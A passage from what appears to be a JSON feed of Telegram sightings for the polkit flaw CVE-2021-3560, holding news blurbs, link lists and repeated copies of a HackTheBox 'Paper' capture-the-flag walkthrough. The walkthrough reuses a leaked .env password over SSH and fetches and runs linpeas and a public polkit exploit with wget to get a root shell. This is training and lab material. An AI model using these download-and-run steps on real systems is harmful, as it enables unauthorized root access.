\u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2021-3156 (Baron Samedit), CVE-2021-3560, CVE-2021-33909 (Sequoia) \u0438 CVE-2021-4034 (PwnKit), \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0440\u0443\u0436\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432.\nhttps://thehackernews.com/2023/10/looney-tunables-new-linux-flaw-enables.html", "creation_timestamp": "2026-07-18T00:00:27.611988Z"}, {"uuid": "0198071c-6f93-48c2-b348-f58125307d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/GitBook_s/141", "content": "CyberWolf-Security\n\n>MISC\nMisc Items\nFrequency stuff\nRandom stuff - needs sorting\n>SERVICES\nPorts - Services\n>PASSWORD CRACKING\nPassword attacks\nPassword Cracking\n>TOOLS\nTools\n>WIRELESS TESTING\nWireless\n>WEB APPLICATION\nWeb App\n>INTERNALS\nInternals\n>MOBILE APPLICATION\nMob App\n>CLOUD\nMicrosoft Office\nMicrosoft Office 365 Security Review\nKubernetes & Docker Review\n>PRIVILEGE ESCALATION\nWindows\nService Execution\nLinux\n>STEGANOGRAPHY\nTools\n>LABS / RESOURCES\nBlue-Team\nRed-Team\n>TRAINING\nCertifications\nTerminology\n>VULNERABILITIES\nVulnerabilities\n>EXPLOITS\nImageMagick\nCVE-2021-3560 (PolKit)\n>BUG BOUNTY\nBug Bounty Programs\nSub Domain Finder\nlink dump\n>FAQ\nInstall ALFA AWUS1900 on Kali\nUpdate and upgrade Linux\n>BUILD REVIEW\nWorkstation\nLink \ud83d\udd17:-\nhttps://leonteale.gitbook.io/cyberwolf-security\n\n@GitBook_s", "creation_timestamp": "2026-07-21T13:00:06.332651Z"}, {"uuid": "fe212a8b-9898-4d3a-b4b3-77f392b5c68b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "Telegram/FMxKlI5Q8oe-wqfdJhLf519zmPU2wTxgtOLa-sFM77th6qo", "content": "", "creation_timestamp": "2026-08-28T00:00:51.848016Z"}, {"uuid": "5e4d6971-f814-41dc-921f-3f97271c1abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/GitBook_s/141", "content": "CyberWolf-Security\n\n>MISC\nMisc Items\nFrequency stuff\nRandom stuff - needs sorting\n>SERVICES\nPorts - Services\n>PASSWORD CRACKING\nPassword attacks\nPassword Cracking\n>TOOLS\nTools\n>WIRELESS TESTING\nWireless\n>WEB APPLICATION\nWeb App\n>INTERNALS\nInternals\n>MOBILE APPLICATION\nMob App\n>CLOUD\nMicrosoft Office\nMicrosoft Office 365 Security Review\nKubernetes & Docker Review\n>PRIVILEGE ESCALATION\nWindows\nService Execution\nLinux\n>STEGANOGRAPHY\nTools\n>LABS / RESOURCES\nBlue-Team\nRed-Team\n>TRAINING\nCertifications\nTerminology\n>VULNERABILITIES\nVulnerabilities\n>EXPLOITS\nImageMagick\nCVE-2021-3560 (PolKit)\n>BUG BOUNTY\nBug Bounty Programs\nSub Domain Finder\nlink dump\n>FAQ\nInstall ALFA AWUS1900 on Kali\nUpdate and upgrade Linux\n>BUILD REVIEW\nWorkstation\nLink \ud83d\udd17:-\nhttps://leonteale.gitbook.io/cyberwolf-security\n\n@GitBook_s", "creation_timestamp": "2026-07-22T00:00:22.761403Z"}, {"uuid": "a41f7b49-aca4-4e2a-a731-49a0969c8309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/xhqcankao/2256", "content": "Linux \u51fa\u73b0\u65b0\u7684\u672c\u5730\u63d0\u6743\u6f0f\u6d1e\uff1a\n https://www.zdnet.com/article/major-linux-policykit-security-vulnerability-uncovered-pwnkit/ \n\u6f0f\u6d1e\u7f16\u53f7\uff1aCVE-2021-4034\n\n\u5f71\u54cd\u5305\u62ec\uff1a Ubuntu, Debian, Fedora, and CentOS \u7b49\u8457\u540dlinux\u7cfb\u7edf\u3002\n\n\u5371\u9669\u7b49\u7ea7\uff1a\u9ad8\u5371\n\n\u6b64\u6f0f\u6d1e\u53ef\u80fd\u5c312009\u5e74\u4ee5\u6765\u5c31\u88ab\u5f15\u5165\u3002\ntwitter\u4e0a\u5df2\u6709\u4eba\u53d1\u5e03\u5229\u7528\u6f0f\u6d1e\u7684\u811a\u672c\u3002\n\n\u6b63\u5f0f\u4fee\u590d\u7a0b\u5e8f\u672a\u53d1\u5e03\u3002\n\n\u7c7b\u4f3c\u6f0f\u6d1e\uff1aCVE-2021-3560 \uff08\u5df2\u4fee\u590d\uff09\n\u653b\u51fb\u624b\u6bb5\u53ef\u4ee5\u53c2\u8003\uff1a https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/", "creation_timestamp": "2026-08-25T00:00:24.751128Z"}, {"uuid": "d54ea4df-1ed2-4a7e-89da-12f9319976ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/FMxKlI5Q8oe-wqfdJhLf519zmPU2wTxgtOLa-sFM77th6qo", "content": "", "creation_timestamp": "2026-08-29T00:00:28.224533Z"}, {"uuid": "f4ef2f5b-4623-4364-97e8-cc35dc028405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/xhqcankao/2256", "content": "Linux \u51fa\u73b0\u65b0\u7684\u672c\u5730\u63d0\u6743\u6f0f\u6d1e\uff1a\n https://www.zdnet.com/article/major-linux-policykit-security-vulnerability-uncovered-pwnkit/ \n\u6f0f\u6d1e\u7f16\u53f7\uff1aCVE-2021-4034\n\n\u5f71\u54cd\u5305\u62ec\uff1a Ubuntu, Debian, Fedora, and CentOS \u7b49\u8457\u540dlinux\u7cfb\u7edf\u3002\n\n\u5371\u9669\u7b49\u7ea7\uff1a\u9ad8\u5371\n\n\u6b64\u6f0f\u6d1e\u53ef\u80fd\u5c312009\u5e74\u4ee5\u6765\u5c31\u88ab\u5f15\u5165\u3002\ntwitter\u4e0a\u5df2\u6709\u4eba\u53d1\u5e03\u5229\u7528\u6f0f\u6d1e\u7684\u811a\u672c\u3002\n\n\u6b63\u5f0f\u4fee\u590d\u7a0b\u5e8f\u672a\u53d1\u5e03\u3002\n\n\u7c7b\u4f3c\u6f0f\u6d1e\uff1aCVE-2021-3560 \uff08\u5df2\u4fee\u590d\uff09\n\u653b\u51fb\u624b\u6bb5\u53ef\u4ee5\u53c2\u8003\uff1a https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/", "creation_timestamp": "2026-08-24T08:00:02.853847Z"}, {"uuid": "f4e36173-ab35-48bd-9cfd-6e702d538aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cissp/3390", "content": "A newly discovered 7-year-old Polkit vulnerability (CVE-2021-3560) could allow unprivileged Linux users to gain root access on target systems.\n\nRead: https://thehackernews.com/2021/06/7-year-old-polkit-flaw-lets.html", "creation_timestamp": "2026-09-01T17:00:48.784164Z"}, {"uuid": "0efec896-d3b4-4ba8-9830-fc860f5fb3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cissp/3394", "content": "Cloud Security\nPhishing for AWS credentials via AWS SSO device code authentication\ud83d\ude0a\nhttps://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication\n\nRed_ eam Tactics\n1. Insecure Deserialization and extraction of admin password\nhttps://infosecwriteups.com/insecure-deserialization-web-challenges-part-1-7d1b7339ca\n2. On how to access (protected) networks\nhttps://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks\n\nexploit\nCVE-2021-3560:\nPrivilege escalation with polkit: How to get root on Linux with a seven-year-old bug (PoC)\ud83d\ude01\ud83d\udc4d\ud83c\udffd\nhttps://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug\n\nThreat Research\n1. Abusing SIP VoIPmonitor GUI for Cross-Site Scripting\nhttps://www.rtcsec.com/post/2021/06/abusing-sip-for-cross-site-scripting-most-definitely\n2. macOS Monterey Shortcuts\nhttps://theevilbit.github.io/posts/monterey_shortcuts", "creation_timestamp": "2026-09-01T17:00:48.562803Z"}, {"uuid": "97cb1475-e60f-4aad-8e2a-4d0e3470a881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81243", "content": "standard directory (hubot) present in the Dwight home directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1 \n\nNext, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let\u2019s talk about the environment files in the Linux system and why it is important to enumerate them.\n\nWhat is env file?\n\n.env files are used to store those variables\u00a0and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.\n\nWhy it is important to check environment files?\n\nThese environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1 \n\nNow we know the importance of the environment files in a Linux distribution. Let\u2019s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.\nfile ../hubot/.env \nAs we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight. \nUsername: dwight\nPassword: Queenofblad3s!23 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine.\u00a0 Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.\nssh dwight@10.129.74.162\npython3\u00a0-m\u00a0http.server\u00a080\nwget\u00a010.10.14.12/linpeas.sh\nchmod\u00a0777\u00a0linpeas.sh\u00a0\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]", "creation_timestamp": "2026-09-01T20:01:12.877571Z"}, {"uuid": "b4a835a9-eb24-4d5e-9b04-e06384829e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81245", "content": "cking articles which has very clear instructions to exploit it. The full article is available in the below link: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/\n\nBackground of the vulnerability can be found here: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/\n\nReference of the exploit we have used here: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from GitHub, you may use other utilities as well such as curl.\nwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png?w=640&ssl=1 \n\nOn the target side we downloaded the CVE-2021-3560.py exploit to the target /tmp directory with wget command. Then we execute the python script with python3.\nwget 10.10.14.12/ CVE-2021-3560.py\npython3 CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png?w=640&ssl=1 Root FlagAfter the successful execution of the script, it spawned a root shell. Now we can grab root flag from the root directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png?w=640&ssl=1 ConclusionThis machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chatbot feature abuse, file transfer, file permissions, the importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!\n\nAuthor: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin", "creation_timestamp": "2026-09-01T20:01:12.926134Z"}, {"uuid": "b5f7dd5b-bbdc-448c-8beb-afb1a5464024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81151", "content": "Hacking Articles|Raj Chandel's Blog\nPaper HackTheBox Walkthrough\n\nSummaryPaper is Linux machine and considered as easy box by the hack the box. On this box we will begin with basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. A successfully execution of the exploit will spawn a root shell.<o:p Table of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Initial Enumeration<o:p\n* Find Domain Name <o:p\n* Web Page Enumeration<o:p\n* Searching For the Exploit<o:p\n* Secrets leaking Vulnerability Exploitation<o:p\n* Subdomain Enumeration<o:p\n* Bot Feature Abuse<o:p\n* User Flag<o:p\n* Privilege Escalation<o:p\n\n* PolicyKit Exploit: CVE-2021-3560<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the normal TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sV flag which performs a service version scan against the target machine. <o:p\n\nFlags features:<o:p -sV:\u00a0 Attempts to determine the service version<o:p nmap\u00a0 -sV 10.129.74.162<o:pFrom the nmap scan, we have found there were only three ports open, which is port 22,80and port 443. As usual HTTP serviceis running on port 80, HTTPSservice is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png Initial Enumeration<o:pWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have much interesting things. From the web page we found it is showing default page of CentOS. <o:p htttp://10.129.74.162<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png Find Domain Name Command used:<o:pcurl -I 10.129.74.162<o:pFlags features:<o:p -I: Include protocol response headers in the output<o:p\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper. We have used Kali inbuilt tool called curl.<o:p https://everything.curl.dev/project<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s[...]", "creation_timestamp": "2026-09-01T20:01:13.007097Z"}, {"uuid": "728bc91e-9e8b-46ac-b173-6261a0d4b371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81155", "content": "Fxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png Privilege Escalation<o:pFrom the linpeas output, we saw few CVEs appeared as red which means these CVEs could be the potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4mioMBWAM4aVHF_j5SLhXbpZZlag4Fl3AnvohQOqOHsexxAbjDUmZHoa6C1eoICQhfsicM8OtpGfOXzrTMRb1yGxLjTLsgNLFkjLzMmjQS6IZF-jjTICZjSX2ZRdhXqnapOIolXwjOctTke6DRHOzw8ki7zTidH8V4_6iKEOVACyBRVFYMXWMEYZGjg/s16000/21.png PolicyKit Exploit: CVE-2021-3560<o:pAfter searching those exploits, we have found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits works similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Hacking articles which has a very clear instructions to exploit it. The full article is available in the below link:<o:p https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/<o:p\n\nBackground of the vulnerability can be found here:<o:p https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/<o:p\n\nReference of the exploit we have used here:<o:p https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py<o:p\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from the GitHub, you may use other utility as well such as curl.<o:p Command used to download:<o:pwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png On the target side we downloaded the CVE-2021-3560.pyexploit to the target /tmp directory with wget command. Then we execute the python script with python3. <o:p Command used:<o:pOn target side:<o:p wget 10.10.14.12/ CVE-2021-3560.py<o:ppython3 CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png Root Flag<o:pAfter successfully execution of the script, it spawned a root shell. Now we can grab root flag from the root directory. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png Conclusion:This machine was fun and was great source of learning, where we have learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chat bot feature abuse, file transfer, file permissions, importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.<o:p\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!<o:p", "creation_timestamp": "2026-09-01T20:01:13.057596Z"}, {"uuid": "e2ed58a7-e462-4a20-99fe-4e832d9ff717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81237", "content": "Hacking Articles\nPaper HackTheBox Walkthrough\n\nPaper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access\n\n* TCP Port Scan\n* Initial Enumeration\n* Find Domain Name\n* Web Page Enumeration\n* Searching For the Exploit\n* Secrets leaking Vulnerability Exploitation\n* Subdomain Enumeration\n* Bot Feature Abuse\n* User Flag\n\nPrivilege Escalation\n\n* PolicyKit Exploit: CVE-2021-3560\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used \u2013sV flag which performs a service version scan against the target machine.\n\nFlags features:\n\n-sV:\u00a0 Attempts to determine the service version\nnmap\u00a0 -sV 10.129.74.162 \nFrom the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1 \n\nInitial Enumeration\n\nWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.\nhtttp://10.129.74.162 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1 \n\nFind Domain Name \ncurl -I 10.129.74.162 \nFlags features:\n\n-I: Include protocol response headers in the output\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1 \n\nAfter finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host\u2019s file you can use any text editor such as leafpad, gedit, nano or vim.\n\nWhy do we need to add domain in the local hosts file?\n\nThe /etc/hosts file contains a mapping of IP addresses to[...]", "creation_timestamp": "2026-09-01T20:01:13.124424Z"}, {"uuid": "38f7f2b2-1039-4678-908c-f3c6a3562d42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/34461", "content": "Exploit Collector\nPolkit CVE-2021-3560 Research\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nThis document covers a vulnerability in policy kit (polkit) used on many Linux distributions, 